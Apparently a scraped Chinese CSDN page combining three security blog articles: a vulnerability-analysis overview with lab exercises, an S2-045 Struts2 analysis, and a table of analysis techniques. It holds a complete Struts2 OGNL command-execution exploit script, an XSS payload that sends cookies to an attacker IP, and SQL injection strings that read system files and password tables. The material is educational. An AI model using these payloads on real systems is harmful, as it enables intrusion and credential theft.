精华内容
下载资源
问答
  • 软件漏洞分析简述

    万次阅读 2020-02-04 01:36:59
    软件漏洞 1.1漏洞的定义 漏洞,也叫脆弱性(英语:Vulnerability),是指计算机系统安全方面的缺陷,使得系统或其应用数据的保密性、完整性、可用性、访问控制等面临威胁。 漏洞在各时间阶段的名称 根据是否公开分为...

    1. 软件漏洞分析简述

    1.1 漏洞的定义

    漏洞,也叫脆弱性(英语:Vulnerability),是指计算机系统安全方面的缺陷,使得系统或其应用数据的保密性完整性可用性访问控制等面临威胁。

    1.1.1 漏洞在各时间阶段的名称

    根据是否公开分为:未公开漏洞、已公开漏洞

    根据漏洞是否发现分为:未知漏洞、已知漏洞

    根据补丁和利用价值是否发布分为:0day漏洞、1day漏洞、历史漏洞

    图1 漏洞在各时间阶段的名称

    1.2 漏洞的特点

    1. 持久性和时效性

    持久性:随着时间的迁移,旧的漏洞会不断消失,新的漏洞会不断出现

    时效性:当超过一定的时间限制,漏洞的威胁就会逐渐减少直至消失

    1. 可利用性和隐藏性

    可利用性:攻击者能够利用漏洞对系统带来威胁和损失

    隐蔽性:往往需要通过特殊的漏洞分析手段才能够发现

    1. 广泛性和具体性

    广泛性:会影响到很大范围的软硬件设备

    具体性:存在于具体的环境或者条件中

    1.3 漏洞的影响

    1. 可以引发恶性的Web攻击事件,从而使得公民的权益受到伤害。例如:2011年12月21日,中国最大的程序员社区网站CSDN被爆出有超过600万用户的注册资料,尤其是用户口令遭泄露。

    2. 可以引发传播广泛的计算机病毒。随着互联网技术的发展,攻击者可以借助某个软件漏洞肆意传播恶意的病毒和文件。如在尼姆达,蓝宝石,冲击波和震荡波等事件中,攻击者利用现有的漏洞传播漏洞,给社会造成巨大损失。

    3. 可以引发后果严重的系统故障。如1962年,发射往金星的水手一号探测器在发射 293
      秒后偏离了预定轨道。它的任务在 5
      个星期后由成功发射的水手二号完成。这次失败的原因是一个程序员将某个公式转换成了计算机代码转错了,漏了一个下标。这个下标原本是半径
      R 的第 N
      次平滑时间导数值。由于缺少数据光滑化处理功能,制导系统把正常速度当成错误处理,并造成了修正不精确,最终探测器偏离航向的。

    4. 利用软件漏洞可以实现高级的可持续攻击。攻击者联合多个0day漏洞对重要的信息系统发起长时间攻击,如震网,火焰等病毒。

    1.4 软件漏洞必然存在的原因

    1. 由于计算机基于冯诺依曼体系结构,所以决定了漏洞存在的必然性。

    2. 作为互联网基础的TCP/IP协议栈在设计之初主要源于互联互通和开放性。

    3. 新技术的出现增加了互联网的复杂性,增大了漏洞产生的概率。

    4. 软件开发的各个环节都是人为参与的,缺乏经验或者疏忽等都可能引发漏洞。

    2. 软件漏洞分析技术概述

    随着社会经济的发展,互联网也随之迅速的发展,软件已经充斥在我们生活的方方面面,为我们提供便利的同时也带来了安全隐患,因此软件漏洞分析技术的重要性不言而喻。软件漏洞分析技术主要分为:软件架构安全分析技术、源代码漏洞分析技术、二进制漏洞分析技术和运行系统漏洞分析技术四大类。图2.1说明各技术之间的关系。

    图2.1 软件漏洞分析体系

    2.1 软件架构安全分析

    软件架构是软件的“骨架”,是软件开发生命周期中代码编写的基础。在此阶段进行软件漏洞的分析具有指导性的意义,能够及时发现有问题的部分并进行修正,可以减少后期的维护和产生的危害。图2.2是软件架构安全分析的基本原理。

    图2.2 软件架构安全分析原理

    目前,关于软件架构安全分析技术在国内外还处于探索和发展阶段,已形成的技术主要分为:形式化分析和工程化分析,具体如2.3。

    图2.3 软件架构安全分析技术分类

    2.2 源代码漏洞分析

    源代码漏洞分析主要是对高级语言编写的程序进行分析以发现漏洞。源代码作为软件的最初原型,其中的安全缺陷可能直接导致软件漏洞分产生,因此源代码漏洞分析显得尤为重要。目前源代码漏洞分析主要采用静态分析的方法,由于该方法不受程序的输入和运行环境等因素的影响,所以可能发现动态分析难以发现的软件漏洞。源代码漏洞分析一般包含源代码的模型提取,对历史漏洞、程序代码进行特征提取,静态的漏洞分析和结果分析等四个步骤,通过这四个步骤完成对源代码的漏洞分析,结构图如图2.4所示。

    图2.4 源代码漏洞分析原理

    2.3 二进制漏洞分析技术

    尽管源代码漏洞分析技术具有分析范围广,能够发现一些发现动态分析难以发现的软件漏洞等特点,但是实际应用中很多应用软件都是以二进制代码的形式(如库文件)的形式存在的,所以对二进制漏洞分析技术的研究具有很强的实际意义。

    其分析对象是源代码编译后生成的二进制代码,其中的主要技术环节包括:反汇编逆向分析、中间表示、漏洞建模、汇编代码结构化、污点分析/动态数据流分析、符号执行/控制流执行等,其一般原理如图2.5所示。

    图2.5 二进制漏洞分析一般原理

    二进制漏洞分析技术种类繁多,从程序是否运行的角度可以分为:静态分析技术和动态分析技术;从操作的自动化角度可以分为手动分析和自动/半自动分析。本次汇报的介绍主要针对程序是否运行的角度进行实验,从此角度出发我们将二进制漏洞分析技术分为:静态分析、动态分析和动静态结合分析,实验中以动态分析为主,静态分析为辅进行漏洞的分析。

    2.4 运行系统漏洞分析

    系统是多种软件或者模块的有机整体,因此运行系统漏洞分析技术相对于单个软件的漏洞分析变现出:更加复杂,分析难度更大等特点。目前,漏洞分析人员通过信息搜集、漏洞检测和漏洞确认三个步骤对运行的系统进行漏洞分析,其过程如图2.6所示。

    图2.6 运行系统漏洞分析原理

    2.5 技术总结

    软件漏洞分析技术多种多样,需要针对软件的来源,漏洞的类型,分析人员的擅长等因素进行选择。在汇报的实验中,由于都是针对某个漏洞类型进行验证,没有涉及到软件架构和系统等概念,故实验中主要利用二进制漏洞分析技术中的静态分析、动态分析和动静结合的分析技术。针对动态分析技术,所使用的软件有:OllyDbg和Windbg,选择Windbg有个特点,即其对于Windows自带原生的软件更加适用;针对静态分析技术,所使用的软件为IDA
    Pro。各个软件的特点和图标如表2所示,对用的图标如3.7所示。

    表2 各个软件的特点和图标
    名称 特点 图标
    OllyDbg OllyDbg是一个动态追踪工具,是当今最为流行的调试解密工具。同时还支持插件扩展功能,是目前最强大的调试工具。 在这里插入图片描述
    WinDbg Windbg是在windows平台下,强大的用户态和内核态调试工具。 在这里插入图片描述
    IDA Pro 是目前最棒的一个静态反编译软件,为众多0day世界的成员和ShellCode安全分析人士不可缺少的利器。 在这里插入图片描述

    3 主要的漏洞攻击技术

    正所谓:知己知彼百战百胜,只有具备犯罪能力的人才能洞察他人的犯罪行为。做为一个白帽子的安全人员,需要对黑帽子(攻击者)所使用的攻击技术进行学习,才能以攻击者的角度对软件或者系统等进行漏洞的挖掘、分析和修复。本部分主要介绍现实中一些主要的漏洞攻击技术,包括:栈溢出、堆溢出、S.E.H的利用、攻击C++的虚函数、Heap Spray、XSS(Cross Site Script)、sql注入等。

    3.1 栈溢出

    3.1.1 栈简介

    栈,即堆栈,是一种具有一定规则的数据结构,它按照先进后出的原则存储数据,先进入的数据被压入栈底,最后的数据在栈顶。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。

    堆栈数据结构的两种基本操作:

    • PUSH:将数据压入栈顶

    • POP :将栈顶数据弹出

    3.1.2 栈溢出利用

    本次实验采用函数调用的形式,此时会为被调用的函数开辟一个临时的栈空间,然后在被调用函数中创建一个buffer缓冲区用于栈溢出(即当覆盖缓冲区大小超过buffer的大小时则会破坏外面的存储空间),其原理如图3.1所示。

    图3.1 栈溢出原理

    实验代码(如图3.2所示)主要实现密码的字符串匹配,代码本身逻辑没有错,但缺少了对字符串长度的判断,故当密码长度过长的时候保存在buffer缓冲区中会溢出,导致可能出现代码本身之外的执行流程。实验时我们使用特点的密码字符串(包含可执行代码、填充和有效的返回地址),在程序执行过程中将该字符串复制到buffer中,通过进行设计使得返回地址置为buffer的起始地址,因此verify_password函数返回时会跳转到buffer的起始地址去执行,即改变了程序原本的执行流程,使得我们设计的机器代码(实验选择一个简单的弹出消息框代码)能够得到执行,执行效果如图3.3所示。

    图3.2 栈溢出利用代码
    图3.3 栈溢出漏洞利用效果

    3.2 S.E.H的利用

    3.2.1 S.E.H简介

    S.E.H即异常处理结构体(Structure Exception Handler),它是Windows异常处理机制所采用的重要数据结构。每个S.E.H都包含两个DOWRD(双字,即4个字节):S.E.H链表指针和异常处理函数句柄,共8字节,如图3.4所示。

    S.E.H结构通常存放于系统栈中,一般包含多个,最终形成链表的结构,如图3.5所示。

    图3.4 S.E.H结构
    图3.5 多个S.E.H构成链表的结构

    3.2.2 S.E.H的利用

    实验代码(如图3.6所示)使用之前介绍的栈溢出的方式进行S.E.H的利用,但有所区别,在于这里覆盖的不是返回地址而是异常处理结构体指针。代码首先声明了一个异常处理方法MyExceptionhandler,代码从主函数(main)调用test函数,在test函数中引发了一个除0异常并且为异常设置了异常处理的方法MyExceptionhandler,在程序正常执行过程中将会打印got an exception,press Enter to kill process!但是我们还是使用超长字符串复制到test函数的buf中,通过设置我们的字符串长度,精准覆盖我们的S.E.H指针,覆盖位置如图3.7所示,实验中将其覆盖为buf起始地址0x0012fe98,于是当发生异常的时候程序将会跳转到buf起始地址去执行,执行代码同栈溢出实验,即弹出消息框,效果同上。

    图3.6 S.E.H利用代码
    图3.7 覆盖位置示意图

    3.3 攻击C++虚函数

    3.3.1 虚函数简介

    C++类的成员函数在声明时,若使用virtual进行修饰则被称为虚函数,一个类中可能有多个虚函数,但虚函数的入口都被保存在虚表指针中,其虚表指针存放在对象的内存空间中,且紧接着是其他成员变量,其结构如图3.8所示。

    图3.8 虚函数结构图

    3.3.2 攻击C++虚函数

    实验代码(如图3.9所示)同样使用栈溢出的方式进行利用,这里的区别在于覆盖的是虚表指针。通过虚函数的结构知道虚表指针位于其他成员变量前4字节处,故我们通过buf的指针地址-4即为虚表指针(p_vtable)地址,首先将虚表指针覆盖为我们即将复制字符串的后4个字节的起始地址0x004088CC,然后将该4个字节覆盖为buf的起始地址0x0040881C,该过程实现了:当程序调用虚函数时会去查找我们覆盖的虚变指针(此时指向复制字符串的后4字节处0x004088CC),然后去该4字节处查找虚函数(此时指向buf起始地址0x0040881C),因此我们设计的机器代码得到了执行,其覆盖效果示意图如图3.10所示,其执行效果同上。

    图3.9 虚函数利用代码
    图3.10 覆盖效果示意图

    3.4 Heap Spray简介

    针对浏览器的攻击中,常常结合使用堆和栈协同利用漏洞。在页面中,我们通过JavaScript可以申请堆内存,这使得我们可以把需要执行的代码布置到JavaScript申请到的堆块中。

    在使用HeapSpray的时候,一般将EIP(指令寄存器)指向0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等几个地址(其由先人实验得出),然后通过JavaScript申请大量内存,内存中包括我们需要执行的代码。该技术的利用示意图如图3.11所示。由于此攻击技术主要配合浏览器漏洞实现,故此处没有进行进一步的实验。

    图3.11 Heap Spray利用示意图

    3.5 XSS攻击

    3.5.1 XSS简介

    XSS(Cross Site Script),全称跨站脚本攻击。XSS 攻击,通常指黑客通过 HTML
    注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击行为。于是,我们就可以从存在XSS漏洞的网站中,盗取用户Cookie、黑掉页面、导航到恶意网站等操作。

    XSS漏洞出现原因在于网站服务器端没有对用户的输入进行有效的过滤,使得其直接展示在页面上,其主要发生在留言板、个人信息页面等。

    3.5.2 利用XSS获取用户的Cookie

    由于该漏洞发生在Web应用程序中,故实验之前需要搭建一个网站用于测试。根据网上现成的靶场DVWA(即开发完成的存在漏洞的Web应用程序)进行下载搭建,减少了自己开发Web应用程序的过程,而可以将注意力集中在漏洞的学习利用上。

    实验时我们测试典型的存储型XSS(即该输入的脚本会存到数据库中,当下一次访问时将会从数据库读取并再次显示在页面上)。使用的攻击脚本为:<script>alert(document.cookie);new Image().src=“http://192.168.25.1/log?”+escape(document.cookie);</script>,其中包括两部分脚本,首先是alert脚本,该脚本将访问该页面的用户的Cookie弹出;再者是new Image().src脚本,该脚本在访问时会向src指定的地址发送http请求,此时我们(在此作为攻击者,ip地址为192.168.25.1)搭建一个用于记录用户访问存在XSS漏洞的网页时发送的用户Cookie,通过两部分的Cookie进行对比,验证实验是否成功。实验中我们将攻击脚本存放在个人信息的输入中,界面如图3.12所示,点击Sign Guestbook则会把输入的数据显示在下方,当访问该页面时则会触发我们输入的两部分脚本,各部分触发效果图如图3.13-3.14所示。

    图 3.12 用于测试XSS的界面
    图3.13 alert脚本触发效果图
    图3.14接收用户发送的Cookie

    对比弹出消息框于接收的Cookie可能发现类似,但不太一样,出现该原因是web应用程序会将请求中的一些字符进行URL编码,将其进行解码得到相同的数据,成功窃取用户的Cookie。在实际攻击中,应该删除alert脚本,那么用户在访问漏洞页面时并不会察觉到自己的Cookie已经泄露,使得用户不会察觉出异常而对账号密码进行修改等操作。

    3.5.3 利用XSS重定向攻击者搭建的钓鱼网站

    在本次实验中我们使用的攻击脚本为:<script>window.location=“http://192.168.25.1/dvwa/vulnerabilities/xss_s/”</script>,其中window.location用于重定向操作,192.168.25.1为攻击者设计的跟用户访问网站相似的钓鱼网站ip。本次实验和利用XSS获取用户的Cookie实验类型,都将脚本存在用户信息中,当再次访问该页面则触发脚本,重定向到攻击者设计的钓鱼网站,效果如图3.15所示,即让用户输入账号密码,当用户上当输入账号密码之后,攻击者则成功获取了用户的信息。

    图3.15钓鱼网站登录页面

    3.6 SQL注入

    3.6.1 SQL注入简介

    SQL注入的基本原理在于利用程序对用户输入数据的检查不足或程序自身对变量的处理不足,把额外的SQL语句附加到中间层往后台数据库提交的语句中,轻则可以获取敏感信息,重则可以控制服务器。在SQL注入攻击中,入侵者通常将未经授权的数据库语句插入或注入有漏洞的SQL数据信道中,通常情况下攻击所针对的数据信道通常包括存储过程和web应用程序的输入参数,然后这些语句被传递到数据库中执行,这样攻击者就可以不受限制的访问整个数据库。

    其同XSS一样发生在Web应用程序中,该拓扑结构如图3.16所示,攻击者在表示层(即网页)利用漏洞进行SQL注入,从而获取超过本身能获取的信息或者控制权等。

    图3.16 Web应用程序拓扑图

    3.6.2 SQL注入利用

    本次实验分析的测试用例和方法主要针对MySQL,不同数据库测试方法有一些差异,但大同小异。这里假设demo为查询所要提交的值,首先通过
    在这里插入图片描述
    的方式试探脚本中共有几个变量接收数据。当返回页面没有出现错误时,证明变量的数量正好,观察页面中显示出来的数字,可以确定出能够用于显示结果的变量位置。

    在试探出接收数据的变量个数后,我们可以使用一些攻击用例进行攻击,在表3中列出以一些主要的SQL注入攻击测试用例和说明。

    表3 主要的SQL注入攻击测试用例和说明
    SQL注入攻击测试用例 说明
    demo demo’ and 1=1# demo’ and 1=2# 判断注入点。第一次为正常请求,如果存在注入漏洞,那么第二次请求得到的结果应该与第一次一样,并且第三次得到的结果应与前两次不同
    demo’ or 1=1# 返回所以数据,常用于有搜索功能的页面
    demo’ union select version()# 返回数据库版本信息
    demo’ union select database()# 返回当前数据库名
    demo’ union select user()# 返回数据库的用户名信息
    demo’ union select session_user()# 返回数据库的用户名信息
    demo’ union select system_user()# 返回数据库的用户名信息
    demo’ union select load_file(‘/etc/pwd’) 读取系统文件
    demo’ union select user,password from mysql.user 返回数据库用户的密码信息,其中密码一般以MD5的方式存储

    使用or 1=1进行全查,其效果图如图3.17所示。

    图3.17 使用or进行SQL注入利用效果图

    4 软件漏洞的发展趋势

    近几年,随着信息化的快速发展,对于软件漏洞分析技术和漏洞利用技术已经趋向于成熟化,很多黑客也利用这些技术进行攻击,正因为如此,极大地推进了软件漏洞领域的发展,如微软在Windows增加的GS、SafeSEH、DEP、ASLR、SEHOP等安全机制,使得原有的软件漏洞利用技术更加困难,从而大大提高了Windows的安全性。

    下面,我们将分析软件漏洞面临的主要挑战。

    4.1 移动终端漏洞

    现在移动设备随处可见,以智能手机为主的移动终端也逐渐被黑客所关注。随着移动设备的普及,针对移动设备的漏洞和病毒迅速增加,最受影响的移动设备主要为Android和IOS。除了移动设备本身的操作系统外,安装在系统上的其他应用程序也可能引发漏洞。

    这里根据CVE漏洞库(Common Vulnerabilities and Exposures),绘制出Android系统漏洞和IOS系统漏洞的2009-2015年每年漏洞数量统计图,如图4.1-4.2所示。

    图4.1 CVE漏洞库Android统计图
    图4.2 CVE漏洞库IOS统计图

    对于Android操作系统,由于其系统的开放性,除了系统本身存在的一些漏洞之外,其允许第三方应用程序随意安装在该系统上,这使得黑客可以对第三方应用程序进行漏洞挖掘并对漏洞进行利用,从而大大增大了Android移动设备的风险。

    对于IOS操作系统,由于其系统的封闭性和自身的安全性,使得漏洞攻击门槛比Android高很多,所以针对IOS平台的漏洞,在黑市中的价格非常高。如IOS越狱,在越狱中使用的漏洞是非常有价值的,一个越狱漏洞可能卖到50多万美元。

    综上,移动终端除了要提高操作系统本身的安全性之外,还需要对第三方软件、插件等进行严格的检查测试才能放上应用商城,若系统或者应用程序出现漏洞,应该强制用户进行升级,减少用户被攻击的风险。

    4.2 云计算平台漏洞

    近些年来,云计算平台可以让用户将自己的程序在云上进行运行,同时享受云所提供的服务和资源,节约了用户的软硬件成本,这使得云计算平台越来越流行。国内的云平台主要有阿里云、腾讯云、新浪SAE、百度云、盛大云等,国外的有Google
    GAE、亚马逊AWS、微软Azure等。

    从云计算平台构建结构来分,可以分为如图4.3所示的结构。

    图4.3 云计算平台结构图
    • SaaS(软件即服务):为消费者提供应用软件。

    • PaaS(平台即服务):为消费者提供系统平台,比如Windows、Linux等操作系统,以及相应的管理支撑软件、开发工具、安全系统等。

    • IaaS(基础设施即服务):为消费者提供服务器、存储设备、网络通信设备,以及其他IT基础设施资源。

    从整体的角度进行分析,如果黑客要攻击云平台,那么其最终的目的一般都是为了拿到底层数据中心里的存储数据,因此云安全的本质其实就是数据安全

    4.3 物联网漏洞

    物联网(Internet of things,简称IoT),即将物体接入互联网,使得人和物可以进行交互,从而使得人能够对物进行智能化的管理,比如智能门锁,智能摄像头、智能插座等等,如图4.4所示。

    图4.4 智能家居产品

    由于智能设备刚刚起步不久,业界对智能设备安全的经验不足,加上业界缺乏统一技术标准,导致一些隐患的存在。下面则是一些例子:

    • 对智能门锁进行破解后,就可能被入室盗窃,直接危害个人财产安全;

    • 若pos机子存在被劫持盗刷的漏洞,攻击者可以无需密码和银行卡的情况下直接盗取银行卡上的钱;

    • 对智能摄像头的漏洞进行利用,可以篡改监控视频、对视频内容进行获取等,如图4.5所示。

    图4.5 《窃听风云》中对监控系统进行篡改

    欢迎批评指正,若图片等等影响阅读,可以通过下载我上传的文档进行阅读!!!

    展开全文
  • 漏洞战争 软件漏洞分析精要
  • 漏洞分析马后炮 s2-045漏洞分析

    千次阅读 2017-03-09 01:04:58
    漏洞分析马后炮 s2-045漏洞分析本文包含如下内容:0x00 目录漏洞分析马后炮 s2-045漏洞分析 0x00 目录 0x01 环境搭建 0x02 PoC分析 0x03 代码DEBUG evaluate0x01 环境搭建现成的符合版本要求的弱环境下载: ...

    漏洞分析马后炮 s2-045漏洞分析

    本文包含如下内容:

    0x00 目录


    0x01 环境搭建

    现成的符合版本要求的弱环境下载:

    https://raw.githubusercontent.com/mottoin/S2-045/master/S2-045.war

    0x02 PoC分析

    网上下载的exp-s2-045,用来测试漏洞:

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    import urllib2
    import httplib
    def exploit(url, cmd):
        payload = "Content-Type:%{(#_='multipart/form-data')."
        payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
        payload += "(#_memberAccess?"
        payload += "(#_memberAccess=#dm):"
        payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
        payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
        payload += "(#ognlUtil.getExcludedPackageNames().clear())."
        payload += "(#ognlUtil.getExcludedClasses().clear())."
        payload += "(#context.setMemberAccess(#dm))))."
        payload += "(#cmd='%s')." % cmd
        payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
        payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
        payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
        payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
        payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
        payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
        payload += "(#ros.flush())}"
        try:
            headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
            request = urllib2.Request(url, headers=headers)
            page = urllib2.urlopen(request).read()
        except httplib.IncompleteRead, e:
            page = e.partial
        print(page)
        return page

    这里先不解释代码,配合后面的DEBUG来解释以上PoC代码。

    0x03 代码DEBUG

    运行PoC代码

    运行PoC,成功即运行calc,弹出一个计算器
    用法为

    *.py [url] [cmd]

    第一个断点

    因为我事先分析过了,先在这里打个断点。
    此时计算器还没弹出,我们继续跟进到方法:

    getDefaultMessage(String, Locale, ValueStack, Object[], String)

    跟进第一个方法

    如下是defaultMessage的内容,他包含我们所有的Content-Type内容,我们跟进他在哪里被引用。

    the request doesn’t contain a multipart/form-data or multipart/mixed stream, content type header is 【Content-Type内容】

    message被代替成传入的参数

    message = defaultMessage

    buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

    该段为message最后被引用到的地方,跟进到两个方法内,先到如下:

    translateVariables(String, ValueStack)

    第一次跟进translateVariables方法

    第一次跟进translateVariables方法,发现还是调用的方法,一路跟进,直接看实现具体的实现。

    真正调用shell的方法
    shell方法继承的接口

    从这两张图可以看出,他继承了接口

    com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator

    在创建对象后立即重写了方法:

    com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator.evaluate(String)

    最后要知道是,为什么该方法是怎么执行构造的内容的。

    先看看这个方法的API

    evaluate

    Object evaluate(String parsedValue)
    Evaluated the value parsed by Ognl value stack.

    这里提到Ognl值栈,我们只需要构造Ognl语句,利用Ognl语句获得cmd或者shell。


    展开全文
  • 软件漏洞分析

    2021-01-01 20:39:30
    软件漏洞分析的定义 广义漏洞分析:指的是围绕漏洞所进行的所有工作,包括: 漏洞挖掘:使用程序分析或软件测试技术发现软件中可能存在的未知的安全漏洞 漏洞检测:又称漏洞扫描,基于漏洞特征库,通过扫描等手段...

    软件漏洞分析的定义

    • 广义漏洞分析:指的是围绕漏洞所进行的所有工作,包括:
      • 漏洞挖掘:使用程序分析或软件测试技术发现软件中可能存在的未知的安全漏洞
      • 漏洞检测:又称漏洞扫描,基于漏洞特征库,通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测,以发现可利用的已知漏洞
      • 漏洞应用:借助漏洞堆软件或其依附的目标系统进行模拟攻击,并且对攻击代码进行生存性验证
      • 漏洞消除:对漏洞进行修复,包括漏洞防御、补丁修复、安全加固等
      • 漏洞管控:包括漏洞收集与发布、漏洞资源的积累与分析、漏洞的准则规范的制定等
    • 狭义漏洞分析:特指漏洞挖掘,包括:
      • 架构安全分析:在设计阶段进行软件架构分析,从更高、更抽象的层次保障软件安全性
      • 源代码漏洞分析:通常使用静态分析方法,整个过程包括源代码模型构造、漏洞模式提取、基于软件模型和漏洞模式的模式匹配
      • 二进制漏洞分析:包括静态分析和动态分析两种
      • 运行系统漏洞分析:分析对象是已经实际部署的软件系统,通过信息收集、漏洞检测和漏洞确认三个基本步骤堆软件系统进行漏洞分析

    软件分析技术概述

    技术类别 基本原理 分析阶段 分析对象 分析结果 优点 缺点
    软件架构安全分析 通过对软件架构进行建模,并对软件的安全需求或安全机制进行描述,然后检查架构模型直至满足所有安全需求 软件设计 软件架构 设计错误 考虑软件整体安全性,在软件设计阶段进行 缺少实用且自动化程度高的技术
    源代码漏洞分析 通过对程序代码的模型提取及程序检测规则的提取,利用静态的漏洞分析技术分析结果 软件开发 源代码 代码缺陷 代码覆盖率高,能够分析出隐藏较深的漏洞,漏报率较低 需要人工辅助,技术难度大,对先验知识(历史漏洞)依赖性较大,误报率较高
    二进制漏洞分析 通过对二进制可执行代码进行多层次(指令级、结构化、形式化等)、多角度(外部接口测试、内部结构测试等)的分析,发现软件程序中的安全缺陷和安全漏洞 软件设计、测试及维护 二进制代码 程序漏洞 不需要源代码,漏洞分析准确度较高,实用性广泛 缺乏上层的结构信息和类型信息,分析难度大
    运行系统漏洞分析 通过向运行系统输入特定构造的数据,然后对输出进行分析和验证的方式来检测运行系统的安全性 运行及维护 运行系统 配置缺陷 考虑由多种软件共同构成的运行系统的整体安全性,检测项全面,准确度高 对分析人员的经验依赖度较大

    源代码漏洞分析

    技术 基本原理 优点 缺点 典型工具
    数据流分析 数据流分析是一种用于收集计算机程序在不同点计算的值的信息的技术。进行数据流分析的最简单的一种形式就是对控制流图的某个节点建立数据流方程,然后通过迭代计算,反复求解,直到到达不动点 具有更强的分析能力,适合需要考虑控制流信息且变量属性之操作十分简单的静态分析问题 分析效率低,过程间分析和优化算法复杂,编程工作量大,容易出错且效率低 Coverity, Prevent, Llocwork, Fortify, SCA, FindBugs, Checkmax
    符号执行 符号执行是指用符号值替代真实值,模拟程序的执行,从而得到程序的内部结构及其相关信息,从而产生有针对性的测试用例 生成的测试用例有针对性,测试覆盖率较高,可以检测到深层次的问题 在进行系统化的符号执行时,会产生路径爆炸或是求解困顿等问题 EXE, KLEE, Clang, DART
    污点分析 该技术对输入的数据建立污点传播标签,之后静态地跟踪被标记数据的传播过程,检查是否有危险函数或是危险操作 该技术的优点在于可以通过对数据的传播快速地找到典型的与输入数据相关的漏洞 该技术有时会受到编译器优化的影响,同时需要构造污点传播树,这种树的构造比较复杂,有时需要人工介入 Pixy, TAJ
    模型检测 该技术主要通过将程序转换为逻辑公式,然后使用公理和规则来证明程序是否是一个合法的定理。如果程序合法,那么被测程序便满足先前所要求的安全特性 对路径的分析敏感,对于路径、状态的结果具有很高的精确性;检验并发错误能力较好,验证过程完全自动化 由于穷举了所有可能状态,增加了额外的开销;数据密集度较大时,分析难度很大;对时序、路径等属性,在边界处的近似处理难度大 SLAM, MOPS, Bandera
    定理证明 该方法主要是将原有程序验证中由研究人员手工完成的分析过程变为自动推导,其主要目的是证明程序计算中的特性 使用严格的推导证明控制检测的进行,误报率低 某些域上的公式推导缺乏适用性,对新漏洞扩展性不高 ESC, Saturn

    二进制漏洞分析

    技术 基本原理 应用范围 优点 缺点 典型工具
    模糊测试 向被测程序发送随机或预先给定的数据 以文件、网络数据或是本地输入以其他对外部输入数据依赖较大的软件 原理简单,执行所需计算量较少,相关工具较为成熟,可以很方便地应用于大型软件的测试中 测试用例针对性低,覆盖率较低,测试结果不确定性较大 SPIKE, Peach, Sully, BeStorm, MU-4000
    动态污点分析 对输入数据建立污染标签,在程序内部处理数据的同时加入污染标签的传播,通过分析标签的传播得出程序的内部结构 以文件、网络数据或是本地输入及其他对外部输入数据依赖较大的软件 可以获取程序内部的基本信息,易于发现与输入关联度较大的漏洞 需要动态插桩或是虚拟化等技术支持,实现较为复杂,并且污染传播算法对分析结果影响较大 TaintCheck, Dyta, Argos, Temu
    基于模式的漏洞分析 利用中间表示语言或是其他工具将漏洞抽象为具有一定特殊性的模式,最终通过找到这种模式进而找到相关漏洞 需要对被分析漏洞表现形式有较深了解,并且需要对被分析软件进行一定转化 对漏洞表现形式抽象程度较高,随着建模准确度的提升,漏洞分析的准确度和速度都会有很大提升,代表着未来研究的方向 目前的漏洞建模较为简单,有时误报率较高 BinNavi
    二进制代码比对 通过比对不同二进制文件,尤其是补丁文件与原文件之间的差异获取修改信息,从而定位并获取漏洞信息 需要有针对某一漏洞的补丁文件或是两个不同版本的同型软件 算法较为成熟,实现简单,有许多相关使用工具 由于需要补丁或新版软件的比对,所以该类技术仅能发现已被报告并修复的漏洞 Bindiff, IDA Compare, eEye Binary Diffing Suite
    智能灰盒测试 利用动态符号执行等技术,针对被测软件生成有针对性的测试用例,从而提高测试用例的覆盖能力 以文件、网络数据或是本地输入及其他对外部输入数据依赖较大的软件 可以有效提升测试用例的覆盖率,从而提高发现漏洞的可能性 由于算法和计算量等问题,在使用时容易出现路径爆炸和求解困顿等问题,对大型软件的测试效果不是很理想 SAGE, SmartFuzz

    运行系统漏洞分析

    技术 基本原理 应用范围 优点 缺点 典型工具
    配置管理测试 配置管理测试是对运行系统配置进行安全性测试,检查系统各配置是否符合运行系统的安全需求和制定的安全策略 检查配置漏洞 可以全面地分析和检查运行系统的配置项 需要对运行系统的业务需求,业务类型和运行环境有充分的了解,需要更多的人工介入 MBSA, Metasploit
    通信协议测试 通信协议验证是对运行系统通信协议中潜在的安全漏洞进行检测。攻击验证是常用的通信协议验证手段。它利用已知的攻击手段对运行系统进行模拟攻击以判断通信协议是否存在某种类型的安全漏洞 检测通信协议中潜在的漏洞 攻击验证的通信协议验证手段检测结果较为准确,能够用于大规模运行系统 攻击验证方法只适用于某些特定类型的通信协议安全漏洞检测 Nessus, Nmap
    授权认证测试 认证测试通过了解运行系统的授权、认证工作流程来尝试规避运行系统的授权、认证机制 检测运行系统中授权、认证机制中潜在的漏洞 分析结果较为准确 该类技术需要深入了解运行系统的授权认证工作,需要较多的人工参与分析工作 Nessus, WebScarab
    数据验证测试 数据验证测试目的在于发现由于运行系统没有正确验证来自客户端或外界的数据而产生的安全漏洞。该类技术主要通过构造特定的输入以检测是否可以触发运行系统的某些特定类型安全漏洞 检测运行系统中授权、认证机制中潜在的漏洞 技术比较成熟,可用工具较多,操作简单 分析结果误报率比较高 MVS, AppScan
    数据安全性验证 数据安全性验证旨在发现威胁运行系统内部数据自身安全性的漏洞 检测运行系统中在存储和传输数据时潜在的漏洞 技术比较成熟,可用工具较多,操作简单 分析结果误报率比较高 WireShark

    参考资料

    • 《软件漏洞分析技术》
    展开全文
